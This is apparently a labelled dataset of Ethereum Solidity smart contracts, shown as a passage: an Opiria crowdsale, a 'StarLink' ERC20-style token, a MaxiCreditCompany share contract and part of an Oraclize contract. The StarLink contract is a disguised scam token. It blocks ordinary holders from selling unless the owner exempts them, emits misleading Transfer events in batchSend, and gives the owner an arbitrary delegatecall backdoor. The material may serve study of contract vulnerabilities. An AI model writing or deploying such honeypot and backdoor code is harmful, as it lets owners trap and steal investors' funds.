emit CrowdsaleTimesChanged(_presaleOpeningTime, _presaleClosingTime, _openingTime, _closingTime);
}
function isPresale() public view returns (bool) {
return now >= presaleOpeningTime && now <= presaleClosingTime;
}
function isSale() public view returns (bool) {
return now >= openingTime && now <= closingTime;
}
}
contract TokenCappedCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public cap;
uint256 public totalTokens;
uint256 public soldTokens = 0;
bool public capIncreased = false;
event CapIncreased();
constructor() public {
cap = 400 * 1000 * 1000 * 1 ether;
totalTokens = 750 * 1000 * 1000 * 1 ether;
}
function notExceedingSaleCap(uint256 amount) internal view returns (bool) {
return cap >= amount.add(soldTokens);
}
function finalization() internal {
super.finalization();
}
}
contract OpiriaCrowdsale is TimedPresaleCrowdsale, MintedCrowdsale, TokenCappedCrowdsale {
using SafeMath for uint256;
uint256 public presaleWeiLimit;
address public tokensWallet;
uint256 public totalBonus = 0;
bool public hiddenCapTriggered;
mapping(address => uint256) public bonusOf;
constructor(ERC20 _token, uint16 _initialEtherUsdRate, address _wallet, address _tokensWallet,
uint256 _presaleOpeningTime, uint256 _presaleClosingTime, uint256 _openingTime, uint256 _closingTime
) public
TimedPresaleCrowdsale(_presaleOpeningTime, _presaleClosingTime, _openingTime, _closingTime)
Crowdsale(_initialEtherUsdRate, _wallet, _token) {
setEtherUsdRate(_initialEtherUsdRate);
tokensWallet = _tokensWallet;
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate).mul(10);
}
function _getBonusAmount(uint256 tokens) internal view returns (uint256) {
uint8 bonusPercent = _getBonusPercent();
uint256 bonusAmount = tokens.mul(bonusPercent).div(100);
return bonusAmount;
}
function _getBonusPercent() internal view returns (uint8) {
if (isPresale()) {
return 20;
}
uint256 daysPassed = (now - openingTime) / 1 days;
uint8 calcPercent = 0;
if (daysPassed < 15) {
calcPercent = (15 - uint8(daysPassed));
}
return calcPercent;
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_saveBonus(_beneficiary, _tokenAmount);
_deliverTokens(_beneficiary, _tokenAmount);
soldTokens = soldTokens.add(_tokenAmount);
}
function _saveBonus(address _beneficiary, uint256 tokens) internal {
uint256 bonusAmount = _getBonusAmount(tokens);
if (bonusAmount > 0) {
totalBonus = totalBonus.add(bonusAmount);
soldTokens = soldTokens.add(bonusAmount);
bonusOf[_beneficiary] = bonusOf[_beneficiary].add(bonusAmount);
}
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
if (isPresale()) {
require(_weiAmount >= presaleWeiLimit);
}
uint256 tokens = _getTokenAmount(_weiAmount);
uint256 bonusTokens = _getBonusAmount(tokens);
require(notExceedingSaleCap(tokens.add(bonusTokens)));
}
function setEtherUsdRate(uint16 _etherUsdRate) public onlyOwner {
rate = _etherUsdRate;
presaleWeiLimit = uint256(1 ether).mul(2500).div(rate);
}
function sendTokensTo(uint256 amount, address to) public onlyOwner {
require(!isFinalized);
require(notExceedingSaleCap(amount));
require(MintableToken(token).mint(to, amount));
soldTokens = soldTokens.add(amount);
emit TokenPurchase(msg.sender, to, 0, amount);
}
function sendTokensToBatch(uint256[] amounts, address[] recipients) public onlyOwner {
require(amounts.length == recipients.length);
for (uint i = 0; i < recipients.length; i++) {
sendTokensTo(amounts[i], recipients[i]);
}
}
function addBonusBatch(uint256[] amounts, address[] recipients) public onlyOwner {
for (uint i = 0; i < recipients.length; i++) {
require(PausableToken(token).balanceOf(recipients[i]) > 0);
require(notExceedingSaleCap(amounts[i]));
totalBonus = totalBonus.add(amounts[i]);
soldTokens = soldTokens.add(amounts[i]);
bonusOf[recipients[i]] = bonusOf[recipients[i]].add(amounts[i]);
}
}
function unlockTokenTransfers() public onlyOwner {
require(isFinalized);
require(now > closingTime + 30 days);
require(PausableToken(token).paused());
bonusUnlockTime = now + 30 days;
PausableToken(token).unpause();
}
function distributeBonus(address[] addresses) public onlyOwner {
require(now > bonusUnlockTime);
for (uint i = 0; i < addresses.length; i++) {
if (bonusOf[addresses[i]] > 0) {
uint256 bonusAmount = bonusOf[addresses[i]];
_deliverTokens(addresses[i], bonusAmount);
totalBonus = totalBonus.sub(bonusAmount);
bonusOf[addresses[i]] = 0;
}
}
if (totalBonus == 0 && reservedTokensClaimStage == 3) {
MintableToken(token).finishMinting();
}
}
function withdrawBonus() public {
require(now > bonusUnlockTime);
require(bonusOf[msg.sender] > 0);
_deliverTokens(msg.sender, bonusOf[msg.sender]);
totalBonus = totalBonus.sub(bonusOf[msg.sender]);
bonusOf[msg.sender] = 0;
if (totalBonus == 0 && reservedTokensClaimStage == 3) {
MintableToken(token).finishMinting();
}
}
function finalization() internal {
super.finalization();
uint256 toMintNow = totalTokens.mul(25).div(100);
if (!capIncreased) {
toMintNow = toMintNow.add(50 * 1000 * 1000);
}
_deliverTokens(tokensWallet, toMintNow);
}
uint8 public reservedTokensClaimStage = 0;
function claimReservedTokens() public onlyOwner {
uint256 toMintNow = totalTokens.mul(5).div(100);
if (reservedTokensClaimStage == 0) {
require(now > closingTime + 6 * 30 days);
reservedTokensClaimStage = 1;
_deliverTokens(tokensWallet, toMintNow);
}
else if (reservedTokensClaimStage == 1) {
require(now > closingTime + 12 * 30 days);
reservedTokensClaimStage = 2;
_deliverTokens(tokensWallet, toMintNow);
}
else if (reservedTokensClaimStage == 2) {
require(now > closingTime + 24 * 30 days);
reservedTokensClaimStage = 3;
_deliverTokens(tokensWallet, toMintNow);
if (totalBonus == 0) {
MintableToken(token).finishMinting();
MintableToken(token).transferOwnership(owner);
}
}
else {
revert();
}
}
function increaseCap() public onlyOwner {
require(!capIncreased);
require(!isFinalized);
require(now < openingTime + 5 days);
capIncreased = true;
cap = cap.add(50 * 1000 * 1000);
emit CapIncreased();
}
function triggerHiddenCap() public onlyOwner {
require(!hiddenCapTriggered);
require(now > presaleOpeningTime);
require(now < presaleClosingTime);
presaleClosingTime = now;
openingTime = now + 24 hours;
hiddenCapTriggered = true;
}
} | 0 | 1,070 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract StarLink {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,775 |
pragma solidity >=0.4.25;
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract ERC20Interface {
function allowance(address _from, address _to) public view returns(uint);
function transferFrom(address _from, address _to, uint _sum) public;
function transfer(address _to, uint _sum) public;
function balanceOf(address _owner) public view returns(uint);
}
contract WalletInterface {
function getTransaction(uint _id) public view returns(address, uint, address, uint, uint, bool);
}
contract ContractCreator {
function setContract() public returns(address);
}
contract MaxiCreditCompany {
event Transfer(address indexed _from, address indexed _to, uint _sum);
event TokenBoughtFromContract(address indexed _buyer, uint indexed _promoter, uint _sum);
event TokenBoughtFromSeller(address indexed _buyer, address _seller, uint _amount, uint indexed _offerId);
event Approval(address indexed _seller, address indexed _buyer, uint _amount);
event DescriptionChange(bytes32 _txt);
event NewServer(address indexed _serverAddress, uint indexed _id);
event ServerChanged(address indexed _newServerAddress, address indexed _oldServerAddress, uint indexed _id);
event ETHWithdraw(address indexed _to, uint _sum);
event ERC20Withdraw(address indexed _erc20Address, address indexed _to, uint _sum);
event SupplyIncreased(uint _amount, uint _totalSupply);
event NewSaleOffer(uint indexed saleOffersCounter, uint indexed _amount, uint indexed _unitPrice);
event SetToBuyBack(uint _amount, uint _price);
event BuyBack(uint indexed _amount, uint indexed buyBackPrice);
event SetOwner(uint indexed _id, address indexed _newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event OwnerDeleted(uint indexed _id, address indexed _owner);
event OperatorRightChanged(address indexed _operator, uint _txRight);
event NewOperator(uint indexed _id, address indexed _newOperator, uint _txRight);
event OperatorChanged(uint indexed _id, address indexed _newOperator, address indexed oldOperator, uint _txRight);
event DeleteOperator(uint indexed _id, address indexed _operator);
event OwnerChangedPrice(uint _priceETH, uint _priceUSD);
event ServerChangedPrice(uint _priceETH, uint _priceUSD);
event NewContract(address indexed _addr, uint indexed newContractsLength);
using AddressUtils for address;
string public name = "MaxiCreditCompanyShare";
string public symbol = "MC2";
uint public supply = 80000000;
uint public decimals = 0;
bytes32 public description;
uint public unitPriceETH;
uint public unitPriceUSD;
uint public shareHoldersNumber;
mapping (address => uint) shareHolderId;
address[] public shareHolders;
bool shareHolderDelete;
address[10] public contractOwner;
address[10] public operator;
uint public ownerCounter;
mapping(address => bool) public isOwner;
mapping(address => bool) public isOperator;
mapping(address => uint) public operatorsRights;
mapping(address => uint) public balanceOf;
mapping(address => mapping(uint => uint)) public saleOffersByAddress;
mapping(uint => address) public saleOffersById;
mapping(uint => uint) public saleOffersAmount;
mapping(uint => uint) public saleOffersUnitPrice;
mapping(address => uint) public sellersOfferCounter;
uint public saleOffersCounter = 0;
uint public buyBackAmount = 0;
uint public buyBackPrice = 0;
mapping(address => mapping(address => uint)) public approvedTransfers;
address[] serverAddress;
mapping (address => bool) isOurServer;
uint serverAddressArrayLength;
ContractCreator cc;
address newContract;
address[] public newContracts;
uint public newContractsLength;
modifier onlyOwner() {
require(isOwner[msg.sender] == true);
require(msg.sender != address(0));
_;
}
modifier onlyOperator() {
require(isOperator[msg.sender] == true);
require(msg.sender != address(0));
_;
}
modifier onlyServer() {
require(isOurServer[msg.sender] == true);
require(msg.sender != address(0));
_;
}
constructor (uint _initPriceETH, uint _initPriceUSD) public {
contractOwner[0] = msg.sender;
isOwner[msg.sender] = true;
operator[0] = msg.sender;
isOperator[msg.sender] = true;
operatorsRights[msg.sender] = 100;
balanceOf[address(this)] = supply;
unitPriceETH = _initPriceETH;
unitPriceUSD = _initPriceUSD;
shareHoldersNumber = 0;
shareHolderDelete = false;
ownerCounter = 1;
}
function getContractOwner(uint _id) public view returns(address) {
return(contractOwner[_id]);
}
function setDescription(bytes32 _txt) public onlyOwner {
description = _txt;
emit DescriptionChange(_txt);
}
function setServerAddress(address _serverAddress) public onlyOwner {
serverAddressArrayLength = serverAddress.push(_serverAddress);
isOurServer[_serverAddress] = true;
emit NewServer(_serverAddress, serverAddressArrayLength - 1);
}
function modifyServer(uint _id, address _serverAddress) public onlyOwner {
address oldServer = serverAddress[_id];
isOurServer[serverAddress[_id]] = false;
serverAddress[_id] = _serverAddress;
isOurServer[_serverAddress] = true;
emit ServerChanged(_serverAddress, oldServer, _id);
}
function getServerAddressLength() public view onlyOperator returns(uint) {
return serverAddressArrayLength;
}
function getServerAddress(uint _num) public view onlyOperator returns(address) {
return serverAddress[_num];
}
function checkServerAddress(address _addr) public view onlyOperator returns(bool) {
return(isOurServer[_addr]);
}
function withdrawal(uint _sum, address _to) public onlyOperator {
require(operatorsRights[msg.sender] * address(this).balance / 100 >= _sum);
require(address(this).balance >= _sum);
require(_to != address(0) && _sum > 0);
address(_to).transfer(_sum);
emit ETHWithdraw(_to, _sum);
}
function withdrawERC20(address _erc20Address, address _to, uint _amount) public onlyOperator {
ERC20Interface ei = ERC20Interface(_erc20Address);
require(operatorsRights[msg.sender] * ei.balanceOf(this) / 100 >= _amount);
require(_erc20Address != address(0) && _to != address(0));
ei.transfer(_to, _amount);
emit ERC20Withdraw(_erc20Address, _to, _amount);
}
function totalSupply() public view returns(uint) {
return(supply);
}
function increaseSupply(uint _amount) public onlyOwner {
supply += _amount;
balanceOf[this] += _amount;
emit SupplyIncreased(_amount, supply);
}
function _transfer(address _from, address _to, uint _sum) private {
require(_from != address(0));
require(_to != address(0));
require(_from != _to);
require(_sum > 0);
require(balanceOf[_from] >= _sum);
require(balanceOf[_to] + _sum >= _sum);
if(balanceOf[_to] == 0) {
shareHolderId[_to] = shareHoldersNumber;
if(shareHolderDelete) {
shareHolders[shareHoldersNumber] = _to;
shareHolderDelete = false;
} else {
shareHolders.push(_to);
}
shareHoldersNumber ++;
}
uint sumBalanceBeforeTx = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _sum;
balanceOf[_to] += _sum;
if(balanceOf[_from] == 0) {
shareHoldersNumber --;
shareHolders[shareHolderId[_from]] = shareHolders[shareHoldersNumber];
shareHolderId[shareHolders[shareHoldersNumber]] = shareHolderId[_from];
delete shareHolders[shareHoldersNumber];
shareHolderDelete = true;
}
assert(sumBalanceBeforeTx == balanceOf[_from] + balanceOf[_to]);
emit Transfer(_from, _to, _sum);
}
function transfer(address _to, uint _sum) external returns(bool) {
_transfer(msg.sender, _to, _sum);
return(true);
}
function transferFromContractsBalance(address _to, uint _sum) public onlyOwner {
require(_to != address(0));
require(this != _to);
require(_sum > 0);
require(balanceOf[this] >= _sum);
require(balanceOf[_to] + _sum >= _sum);
if(balanceOf[_to] == 0) {
shareHolderId[_to] = shareHoldersNumber;
if(shareHolderDelete) {
shareHolders[shareHoldersNumber] = _to;
shareHolderDelete = false;
} else {
shareHolders.push(_to);
}
shareHoldersNumber ++;
}
uint sumBalanceBeforeTx = balanceOf[this] + balanceOf[_to];
balanceOf[this] -= _sum;
balanceOf[_to] += _sum;
assert(sumBalanceBeforeTx == balanceOf[this] + balanceOf[_to]);
emit Transfer(this, _to, _sum);
}
function setToSale(uint _amount, uint _unitPrice) public {
require(balanceOf[msg.sender] >= _amount);
require(_unitPrice > 0);
saleOffersByAddress[msg.sender][sellersOfferCounter[msg.sender]] = saleOffersCounter;
saleOffersById[saleOffersCounter] = msg.sender;
saleOffersAmount[saleOffersCounter] = _amount;
saleOffersUnitPrice[saleOffersCounter] = _unitPrice;
emit NewSaleOffer(saleOffersCounter, _amount, _unitPrice);
sellersOfferCounter[msg.sender] ++;
saleOffersCounter ++;
}
function getSaleOffer(uint _id) public view returns(address, uint, uint) {
return(saleOffersById[_id], saleOffersAmount[_id], saleOffersUnitPrice[_id]);
}
function buyFromSeller(uint _amount, uint _offerId) public payable {
require(saleOffersAmount[_offerId] >= _amount);
uint orderPrice = _amount * saleOffersUnitPrice[_offerId];
require(msg.value == orderPrice);
saleOffersAmount[_offerId] -= _amount;
_transfer(saleOffersById[_offerId], msg.sender, _amount);
uint sellersShare = orderPrice * 99 / 100;
uint toSend = sellersShare;
sellersShare = 0;
saleOffersById[_offerId].transfer(toSend);
emit TokenBoughtFromSeller(msg.sender, saleOffersById[_offerId], _amount, _offerId);
}
function setBuyBack(uint _amount, uint _price) public onlyOperator {
buyBackAmount += _amount;
buyBackPrice = _price;
emit SetToBuyBack(_amount, _price);
}
function buyback(uint _amount) public {
require(buyBackAmount >= _amount);
buyBackAmount -= _amount;
_transfer(msg.sender, this, _amount);
msg.sender.transfer(_amount * buyBackPrice);
emit BuyBack(_amount, buyBackPrice);
}
function getETH(uint _amount) public payable {
require(msg.value == _amount);
}
function setContractOwner(uint _id, address _newOwner) public onlyOwner {
require(contractOwner[_id] == address(0) && !isOwner[_newOwner]);
contractOwner[_id] = _newOwner;
isOwner[_newOwner] = true;
ownerCounter++;
emit SetOwner(_id, _newOwner);
}
function modifyContractOwner(uint _id, address _newOwner) public onlyOwner {
require(contractOwner[_id] != address(0) && contractOwner[_id] != _newOwner);
address previousOwner = contractOwner[_id];
isOwner[contractOwner[_id]] = false;
contractOwner[_id] = _newOwner;
isOwner[_newOwner] = true;
emit OwnershipTransferred(previousOwner, _newOwner);
}
function deleteOwner(uint _id, address _addr) public onlyOwner {
require(ownerCounter > 1);
require(isOwner[_addr] && contractOwner[_id] == _addr);
isOwner[_addr] = false;
contractOwner[_id] = address(0);
ownerCounter--;
emit OwnerDeleted(_id, _addr);
}
function setOperatorsRight(address _operator, uint _txRight) public onlyOwner {
require(_txRight <= 100 && isOperator[_operator]);
operatorsRights[_operator] = _txRight;
emit OperatorRightChanged(_operator, _txRight);
}
function setOperator(uint _id, address _newOperator, uint _txRight) public onlyOwner {
require(_txRight <= 100 && operator[_id] == address(0) && !isOperator[_newOperator]);
operator[_id] = _newOperator;
operatorsRights[_newOperator] = _txRight;
isOperator[_newOperator] = true;
emit NewOperator(_id, _newOperator, _txRight);
}
function modifyOperator(uint _id, address _newOperator, uint _txRight) public onlyOwner {
require(operator[_id] != address(0) && operator[_id] != _newOperator && _txRight < 100);
address oldOperator = operator[_id];
isOperator[operator[_id]] = false;
operatorsRights[operator[_id]] = 0;
isOperator[_newOperator] = true;
operator[_id] = _newOperator;
operatorsRights[_newOperator] = _txRight;
emit OperatorChanged(_id, _newOperator, oldOperator, _txRight);
}
function deleteOperator(uint _id, address _operator) public onlyOwner {
require(isOperator[_operator] && operator[_id] == _operator);
isOperator[_operator] = false;
operatorsRights[_operator] = 0;
operator[_id] = address(0);
emit DeleteOperator(_id, _operator);
}
function getShareNumber(address _addr) public view returns(uint) {
return(balanceOf[_addr]);
}
function approve(address _to, uint _sum) public {
approvedTransfers[msg.sender][_to] += _sum;
emit Approval(msg.sender, _to, _sum);
}
function allowance(address _from, address _to) public view returns(uint) {
return (approvedTransfers[_from][_to]);
}
function transferFrom(address _from, address _to, uint _sum) public {
require(approvedTransfers[_from][msg.sender] >= _sum);
approvedTransfers[_from][msg.sender] -= _sum;
_transfer(_from, _to, _sum);
}
function changePriceByOwner(uint _priceETH, uint _priceUSD) public onlyOwner {
require(_priceETH > 0 && _priceUSD > 0);
unitPriceETH = _priceETH;
unitPriceUSD = _priceUSD;
emit OwnerChangedPrice(_priceETH, _priceUSD);
}
function changePriceByServer(uint _priceETH, uint _priceUSD) public onlyServer {
require(_priceETH > 0 && _priceUSD > 0);
unitPriceETH = _priceETH;
unitPriceUSD = _priceUSD;
emit ServerChangedPrice(_priceETH, _priceUSD);
}
function checkIsShareHolder() public view returns(bool){
if(balanceOf[msg.sender] > 0) {
return(true);
} else {
return(false);
}
}
function getShareHolderRegister() public view returns(address[] memory) {
return(shareHolders);
}
function setNewContract(address _addr) public onlyOperator {
cc = ContractCreator(_addr);
newContract = cc.setContract();
newContracts.push(newContract);
newContractsLength ++;
emit NewContract(_addr, newContractsLength);
}
} | 1 | 5,347 |
pragma solidity ^0.4.11;
contract Oraclize {
mapping (address => uint) reqc;
mapping (address => byte) public cbAddresses;
mapping (address => bool) public offchainPayment;
event Log1(address sender, bytes32 cid, uint timestamp, string datasource, string arg, uint gaslimit, byte proofType, uint gasPrice, uint queryCost);
event Log2(address sender, bytes32 cid, uint timestamp, string datasource, string arg1, string arg2, uint gaslimit, byte proofType, uint gasPrice, uint queryCost);
event LogN(address sender, bytes32 cid, uint timestamp, string datasource, bytes args, uint gaslimit, byte proofType, uint gasPrice, uint queryCost);
event Log1_fnc(address sender, bytes32 cid, uint timestamp, string datasource, string arg, function() external callback, uint gaslimit, byte proofType, uint gasPrice, uint queryCost);
event Log2_fnc(address sender, bytes32 cid, uint timestamp, string datasource, string arg1, string arg2, function() external callback, uint gaslimit, byte proofType, uint gasPrice, uint queryCost);
event LogN_fnc(address sender, bytes32 cid, uint timestamp, string datasource, bytes args, function() external callback, uint gaslimit, byte proofType, uint gasPrice, uint queryCost);
event Emit_OffchainPaymentFlag(address indexed idx_sender, address sender, bool indexed idx_flag, bool flag);
address owner;
address paymentFlagger;
function changeAdmin(address _newAdmin)
external
{
onlyadmin();
owner = _newAdmin;
}
function changePaymentFlagger(address _newFlagger)
external
{
onlyadmin();
paymentFlagger = _newFlagger;
}
function addCbAddress(address newCbAddress, byte addressType)
external
{
onlyadmin();
addCbAddress(newCbAddress, addressType, hex'');
}
function addCbAddress(address newCbAddress, byte addressType, bytes proof)
public
{
onlyadmin();
cbAddresses[newCbAddress] = addressType;
}
function removeCbAddress(address newCbAddress)
external
{
onlyadmin();
delete cbAddresses[newCbAddress];
}
function cbAddress()
constant
returns (address _cbAddress)
{
if (cbAddresses[tx.origin] != 0)
_cbAddress = tx.origin;
}
function addDSource(string dsname, uint multiplier)
external
{
addDSource(dsname, 0x00, multiplier);
}
function addDSource(string dsname, byte proofType, uint multiplier)
public
{
onlyadmin();
bytes32 dsname_hash = sha3(dsname, proofType);
dsources[dsources.length++] = dsname_hash;
price_multiplier[dsname_hash] = multiplier;
}
function multiAddDSource(bytes32[] dsHash, uint256[] multiplier)
external
{
onlyadmin();
for (uint i=0; i<dsHash.length; i++) {
dsources[dsources.length++] = dsHash[i];
price_multiplier[dsHash[i]] = multiplier[i];
}
}
function multisetProofType(uint[] _proofType, address[] _addr)
external
{
onlyadmin();
for (uint i=0; i<_addr.length; i++) addr_proofType[_addr[i]] = byte(_proofType[i]);
}
function multisetCustomGasPrice(uint[] _gasPrice, address[] _addr)
external
{
onlyadmin();
for (uint i=0; i<_addr.length; i++) addr_gasPrice[_addr[i]] = _gasPrice[i];
}
uint gasprice = 20000000000;
function setGasPrice(uint newgasprice)
external
{
onlyadmin();
gasprice = newgasprice;
}
function setBasePrice(uint new_baseprice)
external
{
onlyadmin();
baseprice = new_baseprice;
for (uint i=0; i<dsources.length; i++) price[dsources[i]] = new_baseprice*price_multiplier[dsources[i]];
}
function setBasePrice(uint new_baseprice, bytes proofID)
external
{
onlyadmin();
baseprice = new_baseprice;
for (uint i=0; i<dsources.length; i++) price[dsources[i]] = new_baseprice*price_multiplier[dsources[i]];
}
function setOffchainPayment(address _addr, bool _flag)
external
{
if (msg.sender != paymentFlagger) throw;
offchainPayment[_addr] = _flag;
Emit_OffchainPaymentFlag(_addr, _addr, _flag, _flag);
}
function withdrawFunds(address _addr)
external
{
onlyadmin();
_addr.send(this.balance);
}
function Oraclize() {
owner = msg.sender;
}
function onlyadmin()
private {
if (msg.sender != owner) throw;
}
function costs(string datasource, uint gaslimit)
private
returns (uint price) {
price = getPrice(datasource, gaslimit, msg.sender);
if (msg.value >= price){
uint diff = msg.value - price;
if (diff > 0) {
if(!msg.sender.send(diff)) {
throw;
}
}
} else throw;
}
mapping (address => byte) addr_proofType;
